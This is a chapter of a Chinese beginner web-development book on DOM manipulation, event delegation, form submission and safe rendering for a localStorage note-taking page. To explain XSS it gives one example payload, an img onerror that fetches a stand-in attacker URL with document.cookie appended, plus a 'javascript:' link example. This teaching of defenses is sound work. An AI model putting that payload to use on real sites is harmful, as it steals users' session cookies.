跳到正文
零到全栈 · 卷 2 · 浏览器三件套

JS 与页面:DOM 与事件

本合集目录
本章目录

单册说明:本文件是卷 2 的第 5 章,可独立阅读。前置:第 4 章(值、作用域、函数)。本章让页面活起来:把数据渲染成卡片、处理表单提交、用事件委托做标签过滤,并把关键词统计补上。

项 内容
所属卷 卷 2 · 浏览器三件套(第 5 / 7 章)
前置章节 2.4 JS:值、作用域、函数
本章产出 能新增、能列出、能按标签过滤、能统计关键词的完整页面(数据在 localStorage)
对应代码 code/dudao/index.html(第 5 章版本,<script> 为完整逻辑)
配图 无(后续统一制图)
读完的判定 不看代码,能说出"点了保存之后,浏览器里依次发生了什么"

2.5.1 一句话结论:页面是数据的投影,事件是唯一的入口

第 4 章的 render 只是把一段 HTML 字符串打进控制台。现在要把它变成页面上的卡片。

新手在这里最常犯的错,是把"页面"和"数据"当成两个独立的东西,各改各的:新增时一边 push 进数组,一边手动往 DOM 里 append 一个节点。这样写,第一天能跑;等你要加"按标签过滤"时,就发现必须手动把不匹配的节点删掉;再加"编辑",得手动同步两边的每一处。两份真相,必然对不上。

正确的模型只有一句:

数据是唯一的真相。任何改动都只改数据,然后整块重画。

代价是"重画"看起来浪费——每次新增都把整个列表重建一遍。对几十条摘录来说,这个代价小到测不出来,而它换来的是"永远不会出现界面和数据不一致"。先要正确,再要快。 第 8 章讲性能时,你会看到什么时候才需要把"整块重画"优化成"局部更新"。

第二个常见现场:给每个标签按钮都绑一次 addEventListener。今天三个标签,写三行;将来标签从数据里动态生成,新按钮点了没反应——因为绑定发生在按钮存在之前。这类 bug 的症状是"代码明明写了,就是不生效",而成因是时机。

本章把这两件事一次说清:怎么安全地造节点,怎么在正确的时机接住事件。

2.5.2 原理与方法

① DOM 是一棵树,不是你写的那个字符串

浏览器读完 HTML 之后,会在内存里建一棵树。<html> 是根,<body> 是它的子节点,每个元素、每段文字都是节点。

document
└── html
    ├── head
    │   ├── meta
    │   └── title
    └── body
        ├── header.site-header
        ├── main.layout
        │   ├── aside.sidebar
        │   └── section.content
        └── footer.site-footer

document 是这棵树的入口。你在 JS 里做的一切"改页面",本质都是改这棵树——改完之后浏览器重新计算样式、重新排版、重新绘制。这个顺序叫"渲染流程",理解它才能理解"为什么改一百次比改一次慢"。

节点类型有几种,最常用的是元素节点(<div>)、文本节点(一段字)、注释节点。children 只含元素,childNodes 含所有类型——所以数"有几个卡片"要用 children。

② 选元素:querySelector 与 querySelectorAll

const form = document.querySelector('#note-form');       // 第一个匹配
const buttons = document.querySelectorAll('.tag-btn');   // 全部匹配
const cards = document.querySelectorAll('.note-card');
方法 返回 没有匹配时 能不能 forEach
querySelector 单个元素或 null null —
querySelectorAll NodeList(静态快照) 空 NodeList(长度 0) 能
getElementById 单个元素或 null null —

querySelectorAll 返回的是静态快照:拿到之后,即使页面新增了元素,这个列表也不会变。这一点和第 4 章讲的"引用"看似矛盾,其实一致——它复制的是"当时匹配到的元素地址列表",不是活的对象。

querySelector 返回 null 是最常见的报错来源:

Uncaught TypeError: Cannot read properties of null (reading 'addEventListener')

看到这一行,不要改逻辑,先查两件事:选择器拼对了吗(#note-form 和 .note-form 是两回事)、脚本执行时那个元素存在吗(第 ⑦ 点讲时机)。

③ textContent 与 innerHTML:一个安全,一个危险

title.textContent = note.title;   // 当作纯文本,标签不解析
card.innerHTML = note.title;      // 当作 HTML,标签会被解析执行

差别不是"性能",是安全。假设用户把标题填成:

<img src="x" onerror="fetch('https://bad.example/steal?c=' + document.cookie)">

用 innerHTML 赋值,这段字符串会被当成标签解析,onerror 执行,页面上的数据就被送走了。这就是 XSS(跨站脚本)。用 textContent 赋值,它就是一串可见的字符,什么都不会发生。

维度 textContent innerHTML
内容被当作 纯文本 HTML
用户输入安全吗 安全 不安全,除非先转义
性能 快(不解析) 慢(要解析、要建树)
什么时候能用 几乎所有场景 内容完全由你自己写死时

规则很简单:只要内容里有一个字节来自用户,就用 textContent。 本章的渲染全部用 createElement + textContent,一行 innerHTML 都不写。

还有第二个 XSS 入口容易被忽略:<a> 的 href。

link.href = note.sourceUrl;   // 如果用户填的是 javascript:alert(1)

点击时那段脚本会执行。所以链接地址必须校验协议:

function safeUrl(value) {
  if (!value) return '';
  try {
    const url = new URL(value);
    if (url.protocol === 'http:' || url.protocol === 'https:') {
      return url.href;
    }
    return '';
  } catch (err) {
    return '';
  }
}

new URL() 遇到不合法的字符串会抛错,所以包在 try 里;protocol 白名单只放 http: 和 https:,其余(javascript:、data:)一律丢掉。这就是"输入校验"的最小样本:不是拦截坏字符串,而是只放行好字符串。

④ 造节点:createElement + append

const item = document.createElement('li');
item.className = 'note-card';

const title = document.createElement('h3');
title.className = 'note-card-title';
title.textContent = note.title;

item.append(title);

三个细节:

  • 用 className 而不是 class,因为 class 是 JS 的保留字;
  • append 可以一次接多个参数(item.append(title, body, meta)),appendChild 只能接一个;
  • append 能接字符串(会变成文本节点),appendChild 不能。

批量插入时用 DocumentFragment:

const fragment = document.createDocumentFragment();
for (const note of visible) {
  fragment.append(createNoteItem(note));
}
list.textContent = '';
list.append(fragment);

DocumentFragment 是一个"不在页面上的容器"。往里塞东西不会触发任何渲染;最后一次 append 到页面,只触发一次。这比在循环里逐个 append 到真实节点快得多——后者会让浏览器重排 N 次。

list.textContent = '' 是清空列表最干净的方式:它把子节点全删掉,且不会像 innerHTML = '' 那样触发 HTML 解析。

⑤ 事件流:从外往里,再从里往外

点击一个卡片里的按钮,事件其实经过了三个阶段:

        捕获阶段(从 document 往下)↓
document → body → section → ul → li → button
                                        ↑ 目标
        冒泡阶段(从 button 往上)↑
button → li → ul → section → body → document
阶段 方向 怎么监听
捕获 外 → 内 addEventListener(type, fn, true)
目标 到达元素本身 默认
冒泡 内 → 外 addEventListener(type, fn)(默认)

绝大多数事件都会冒泡。少数不冒泡的(focus、blur、mouseenter)需要单独处理。addEventListener 的第三个参数默认是 false,也就是"在冒泡阶段处理",这是九成场景需要的。

⑥ 事件委托:一个监听器管住所有子元素

如果侧栏有 30 个标签按钮,给每个都绑一次监听,就有 30 个函数、30 份内存,而且将来动态生成的按钮不会被绑上。

事件冒泡提供了一个更好的方案:把监听器挂在父元素上,用 event.target 判断是谁被点了。

tagListEl.addEventListener('click', (event) => {
  const btn = event.target.closest('.tag-btn');
  if (!btn) return;
  render(btn.dataset.tag);
});

event.target 是真正被点的元素——可能是按钮,也可能是按钮里的某个 span。closest('.tag-btn') 从它开始往上找,找到最近的匹配祖先;找不到返回 null。closest 是事件委托的关键,没有它你会在"点到了子元素"上栽跟头。

对比 逐个绑定 事件委托
监听器数量 N 个 1 个
新增元素要重新绑 要 不用
删除元素要解绑 要(否则内存泄漏) 不用
适用条件 任何情况 事件冒泡 + 有共同祖先

dataset 读的是 data-* 属性:data-tag="认知" 对应 el.dataset.tag。第 1 章在标签按钮上写 data-tag,就是为了这一刻。把"这条数据属于谁"写在 DOM 属性上,比用索引去数组里捞稳得多。

⑦ 表单提交:preventDefault 与 FormData

<form> 的默认行为是"把数据发到 action 指定的地址,然后整页刷新"。你没写 action,它就提交到当前地址——表现是页面闪一下,所有输入清空,控制台里的数据全没了。

formEl.addEventListener('submit', (event) => {
  event.preventDefault();          // 必须第一行
  const data = new FormData(formEl);
  addNote({
    title: data.get('title'),
    content: data.get('content'),
    sourceUrl: data.get('sourceUrl'),
    tags: data.get('tags'),
  });
  formEl.reset();
  render('');
});

三个要点:

  1. preventDefault() 要写在最前面,否则后面的报错会让它执行不到,页面照样刷新。
  2. new FormData(form) 按 name 属性收集所有字段,所以第 1 章要求每个输入框都写 name。它省掉了逐个 querySelector 取值。
  3. 监听 submit 而不是按钮的 click。因为用户按回车也能提交表单,submit 两种方式都能接住,click 只能接住鼠标。

required、type="url" 这些 HTML 校验会先跑,不通过时 submit 事件根本不会触发。所以能用 HTML 校验的,就别用 JS 写。

⑧ 渲染时机:脚本放哪,什么时候能拿到元素

浏览器从上往下解析 HTML。如果 <script> 写在 <head> 里,它执行时 <body> 还没解析,document.querySelector('#note-form') 返回 null。

三种解法:

做法 写法 说明
脚本放 </body> 前 <script src="app.js"></script> 放最后 最简单,本书用这个
defer <script src="app.js" defer></script> 下载不阻塞,DOM 就绪后按顺序执行
监听 DOMContentLoaded document.addEventListener('DOMContentLoaded', init) 脚本必须在别处时用

defer 和 DOMContentLoaded 的区别:defer 的脚本在 DOM 解析完、且在 DOMContentLoaded 触发之前执行。所以用了 defer 就不需要再包一层监听。

放 </body> 前是本书的选择,理由只有一个:零基础的人最容易在这里犯错,而这个做法不需要理解任何额外概念。第 7 章拆文件时会把它改成 defer,因为那时 <script> 会出现在 <head> 里。

2.5.3 动手:渲染、新增、过滤、统计

把 index.html 里第 4 章的整个 <script> 替换成下面这段。HTML 和 CSS 一个字都不用改。

<script>
  const STORAGE_KEY = 'dudao.notes.v1';

  const noteListEl = document.querySelector('#note-list');
  const tagListEl = document.querySelector('#tag-list');
  const emptyHintEl = document.querySelector('#empty-hint');
  const statsListEl = document.querySelector('#stats-list');
  const formEl = document.querySelector('#note-form');

  const STOP_WORDS = new Set([
    '的', '了', '是', '在', '我', '也', '就', '不', '和', '与', '这', '那',
    '你', '他', '她', '它', '们', '有', '会', '要', '把', '被', '而', '但',
    '很', '都', '说', '一个', '什么', '自己', '没有', '可以', '因为', '所以',
    '如果', '就是', '这个', '那个', '不是', '还是', '然后', '一个',
  ]);

  let notes = [];
  let currentTag = '';

  function loadNotes() {
    const raw = localStorage.getItem(STORAGE_KEY);
    if (!raw) return [];
    try {
      const parsed = JSON.parse(raw);
      return Array.isArray(parsed) ? parsed : [];
    } catch (err) {
      console.warn('本地数据解析失败,按空列表处理', err);
      return [];
    }
  }

  function saveNotes() {
    localStorage.setItem(STORAGE_KEY, JSON.stringify(notes));
  }

  function splitTags(raw) {
    return String(raw || '').split(/\s+/).filter(Boolean);
  }

  function addNote(input) {
    const note = {
      id: Date.now(),
      title: String(input.title || '').trim(),
      content: String(input.content || '').trim(),
      sourceUrl: String(input.sourceUrl || '').trim(),
      tags: splitTags(input.tags),
      createdAt: new Date().toISOString(),
    };
    notes.push(note);
    saveNotes();
    return note;
  }

  function listNotes(tag) {
    const all = notes.slice();
    if (!tag) return all;
    return all.filter((note) => note.tags.includes(tag));
  }

  function safeUrl(value) {
    if (!value) return '';
    try {
      const url = new URL(value);
      if (url.protocol === 'http:' || url.protocol === 'https:') {
        return url.href;
      }
      return '';
    } catch (err) {
      return '';
    }
  }

  function createNoteItem(note) {
    const item = document.createElement('li');
    item.className = 'note-card';

    const title = document.createElement('h3');
    title.className = 'note-card-title';
    title.textContent = note.title;

    const body = document.createElement('p');
    body.className = 'note-card-body';
    body.textContent = note.content;

    const meta = document.createElement('p');
    meta.className = 'note-card-meta';

    const href = safeUrl(note.sourceUrl);
    if (href) {
      const link = document.createElement('a');
      link.className = 'note-link';
      link.href = href;
      link.textContent = '原文';
      link.target = '_blank';
      link.rel = 'noopener noreferrer';
      meta.append(link);
    }

    const date = document.createElement('span');
    date.className = 'note-date';
    date.textContent = note.createdAt.slice(0, 10);
    meta.append(date);

    for (const tag of note.tags) {
      const chip = document.createElement('span');
      chip.className = 'tag-chip';
      chip.textContent = tag;
      meta.append(chip);
    }

    item.append(title, body, meta);
    return item;
  }

  function splitWords(text) {
    const words = [];
    const cleaned = text.replace(/[^\p{Script=Han}a-zA-Z0-9]+/gu, ' ');
    for (const chunk of cleaned.split(/\s+/)) {
      if (!chunk) continue;
      if (/^[a-zA-Z0-9]+$/.test(chunk)) {
        if (chunk.length > 1) words.push(chunk.toLowerCase());
        continue;
      }
      for (let i = 0; i < chunk.length - 1; i += 1) {
        words.push(chunk.slice(i, i + 2));
      }
    }
    return words.filter((word) => !STOP_WORDS.has(word));
  }

  function renderStats() {
    const counts = {};
    for (const note of notes) {
      for (const word of splitWords(`${note.title} ${note.content}`)) {
        counts[word] = (counts[word] || 0) + 1;
      }
    }

    const top = Object.entries(counts)
      .filter(([, count]) => count >= 2)
      .sort((a, b) => b[1] - a[1])
      .slice(0, 8);

    statsListEl.textContent = '';

    if (top.length === 0) {
      const tip = document.createElement('li');
      tip.className = 'stats-empty';
      tip.textContent = '多存几条摘录,这里会出现反复出现的词。';
      statsListEl.append(tip);
      return;
    }

    for (const [word, count] of top) {
      const item = document.createElement('li');
      item.className = 'stats-item';
      item.textContent = `${word} × ${count}`;
      statsListEl.append(item);
    }
  }

  function renderTagList() {
    const tags = [];
    for (const note of notes) {
      for (const tag of note.tags) {
        if (!tags.includes(tag)) tags.push(tag);
      }
    }

    tagListEl.textContent = '';
    tagListEl.append(createTagButton('全部', ''));

    for (const tag of tags) {
      tagListEl.append(createTagButton(tag, tag));
    }
  }

  function createTagButton(label, value) {
    const item = document.createElement('li');
    const btn = document.createElement('button');
    btn.type = 'button';
    btn.className = 'tag-btn';
    btn.dataset.tag = value;
    btn.textContent = label;
    item.append(btn);
    return item;
  }

  function render(tag) {
    currentTag = tag === undefined ? currentTag : tag;
    const visible = listNotes(currentTag);

    const fragment = document.createDocumentFragment();
    for (const note of visible) {
      fragment.append(createNoteItem(note));
    }
    noteListEl.textContent = '';
    noteListEl.append(fragment);

    emptyHintEl.hidden = visible.length > 0;

    renderTagList();

    for (const btn of tagListEl.querySelectorAll('.tag-btn')) {
      btn.classList.toggle('is-active', btn.dataset.tag === currentTag);
    }

    renderStats();
  }

  tagListEl.addEventListener('click', (event) => {
    const btn = event.target.closest('.tag-btn');
    if (!btn) return;
    render(btn.dataset.tag);
  });

  formEl.addEventListener('submit', (event) => {
    event.preventDefault();
    const data = new FormData(formEl);
    addNote({
      title: data.get('title'),
      content: data.get('content'),
      sourceUrl: data.get('sourceUrl'),
      tags: data.get('tags'),
    });
    formEl.reset();
    render('');
  });

  notes = loadNotes();
  render('');
</script>

保存刷新。第一次打开时列表是空的——第 1 章写死的两张卡片会被 render 清掉,这是预期的,因为现在的真相是 localStorage。

先解释这段代码里两个"顺手做掉"的设计。

标签栏也交给数据了。 renderTagList 把 notes 里出现过的标签收集一遍(用数组 + includes 去重,比 Set 更好懂),再重建整栏按钮。所以你第 1 章手写的"全部/认知/写作"三个按钮,会在第一次 render 时被清掉——从此标签来自数据,不再来自 HTML。你新增一条带"读书"标签的摘录,左边就会多出一个"读书"按钮,不需要改任何 HTML。

这也正是事件委托的价值:按钮是 JS 新造出来的,一个都没绑过监听,但点击照样有效,因为监听器挂在父元素 #tag-list 上。

STOP_WORDS 用了 Set。 Set 是"不重复的集合",has() 判断某个值在不在里面。对四十个词来说,它和数组的性能差别可以忽略;选它只是因为"词表"这个语义和集合更贴。你可以把它换成数组 + includes,结果完全一样。

测试顺序(按这个顺序走,能一次定位问题):

  1. 表单填一条:标题"注意力是稀缺资源"、正文"把注意力当成预算来花"、标签"认知 写作"。点保存。列表立刻出现一条,输入框清空,左边标签栏同时多出"认知"和"写作"两个按钮。
  2. 再填一条,标题"先写,再改",正文"初稿的唯一任务是存在",标签"写作"。现在点左边的"写作",只剩两条;点"认知",只剩一条;点"全部",两条都回来。
  3. 再填一条,标签写"读书"。左边立刻出现"读书"按钮——你没有改过 HTML,它是从数据里长出来的。
  4. 刷新页面。数据还在,标签栏也还在——localStorage 生效了。
  5. 现在再存一条和第一条内容相近的摘录。关键词区应该出现"注意""写作"之类的词条,因为达到"出现 2 次"的门槛。

关键词这里要提前说一句它的粗糙之处:splitWords 对中文用的是"每两个字切一刀"的近似办法,所以你会看到"的摘""当成"这种跨词碎片。这是没有分词词典时的妥协,不是 bug。 想要真正切出词,得用词典或统计模型,那是卷 8 的事。现在它至少能把"反复出现的字串"浮上来,够用来验证这条链路是通的。

四个值得亲手验证的细节:

验证 textContent 的安全性。 新增一条,标题填 <b>加粗</b>,保存。你会看到页面上显示的是字面的 <b>加粗</b>,而不是加粗的字。这就是 textContent 在起作用。把它改成 title.innerHTML = note.title,刷新,字就真的加粗了——这个改动就是 XSS 漏洞的入口,改回来。

验证 href 白名单。 在控制台执行:

safeUrl('javascript:alert(1)');   // ""
safeUrl('https://reading.example/a');  // 正常返回完整 URL
safeUrl('随便什么');               // ""

验证事件委托。 在控制台里手动造一个按钮塞进标签栏:

const fake = document.createElement('li');
const btn = document.createElement('button');
btn.className = 'tag-btn';
btn.dataset.tag = '写作';
btn.textContent = '临时';
fake.append(btn);
document.querySelector('#tag-list').append(fake);

这个按钮没有绑过任何监听,但点它能正常过滤。因为它的事件冒泡到了 #tag-list,被那里的监听器接住了。这就是"委托"两个字的含义。

验证 closest 的必要性。 把标签按钮的文字包一层 <span>(改 HTML 即可),再点。如果没有 closest,event.target 会是那个 span,event.target.dataset.tag 是 undefined,过滤就会失效。有 closest 就正常。

2.5.4 三个坑

坑 1:脚本报 Cannot read properties of null (reading 'addEventListener')

症状:页面完全没反应,控制台第一行就是这个错。代码看起来毫无问题。

成因:document.querySelector(...) 返回了 null。两种可能:选择器写错(#note-form 写成 .note-form,或者 id 拼错),或者脚本执行时元素还不存在(<script> 写在了 <head> 里)。

修法:先 console.log(选择器字符串, 元素),看是不是 null。是 null 就查 HTML 里有没有这个 id。如果选择器没错,就是时机问题,把 <script> 移到 </body> 前,或者加 defer。

坑 2:点保存,页面闪一下就白了,数据也没了

症状:表单提交后整页刷新,控制台里的 console.log 只闪一下。

成因:<form> 的默认提交行为。你没写 action,浏览器就提交到当前地址,等于刷新页面。所有 JS 状态清零。

修法:submit 监听器的第一行写 event.preventDefault()。如果已经写了还刷新,检查它是不是被前面的报错挡住了执行——控制台里往上翻,通常有一行更早的红字。

坑 3:用 innerHTML 拼用户输入,页面被注入

症状:某天有个用户存了一条摘录,之后所有打开这个页面的人都弹窗、跳转,或者被悄悄发走了 Cookie。

成因:innerHTML 把字符串当 HTML 解析,用户输入里的 <script>、<img onerror>、<svg onload> 都会执行。这在你自己的电脑上测不出来,因为你自己不会输恶意内容。

修法:所有来自用户或接口的文本,一律用 textContent;需要结构就用 createElement 一层层搭。innerHTML 只用于完全由你写死的模板。这条规矩要一直带到卷 4——React 的 dangerouslySetInnerHTML 之所以叫这个名字,就是因为这个风险是真实存在的。


本章验收

  • 能新增一条摘录,列表立刻出现且输入框清空
  • 刷新页面后数据还在
  • 新增一条带新标签的摘录,标签栏自动多出该标签,点击能正确过滤
  • 关键词区在有条目重复出现时显示词与次数
  • 标题输入 <b>x</b> 显示为字面文本,不是加粗
  • 手动插入一个 .tag-btn 到标签栏,点击也能过滤(事件委托生效)

自测

Q1:为什么 render 里要先 noteListEl.textContent = '' 再 append(fragment),而不是直接 append?

看答案 因为 `render` 是"整块重画":数据变了就重建全部节点。如果不先清空,每次新增都会在旧列表后面再追加一份,越点越长。用 `textContent = ''` 清空比 `innerHTML = ''` 好在不触发 HTML 解析,也不会有注入风险。另一种写法是 `noteListEl.replaceChildren(fragment)`,一步完成"清空 + 插入",语义更清楚。

Q2:事件委托挂在 #tag-list 上,为什么还要写 if (!btn) return?

看答案 因为 `#tag-list` 覆盖的范围比按钮大——它内部的 `li`、`ul` 的空白区域被点到时,事件同样会冒泡上来,但 `closest('.tag-btn')` 返回 `null`。不判断就会执行 `btn.dataset.tag` 并抛出 `TypeError: Cannot read properties of null`。这一行是"守卫",让不相关的事件安静地走开。

Q3:如果把 link.href = href 改成 link.setAttribute('href', note.sourceUrl),safeUrl 还有用吗?

看答案 有用,而且更必须有。`setAttribute` 不做任何校验,`javascript:` 协议会原样写进去,点击就执行。`link.href = ...` 只是会做 URL 规范化(比如把相对路径补成绝对路径),同样不会拦 `javascript:`。两种写法都必须先用 `safeUrl` 白名单过滤,只放行 `http:` 和 `https:`。安全来自校验,不来自赋值方式。

下一步

页面现在完全靠本地数据活着,刷新不丢,但换台电脑就空了。下一章讲异步:从文件里读一份 JSON,顺便把"为什么 fetch 拿到 404 却不报错"这件事说透。

→ 卷2-06-异步fetch与Promise.md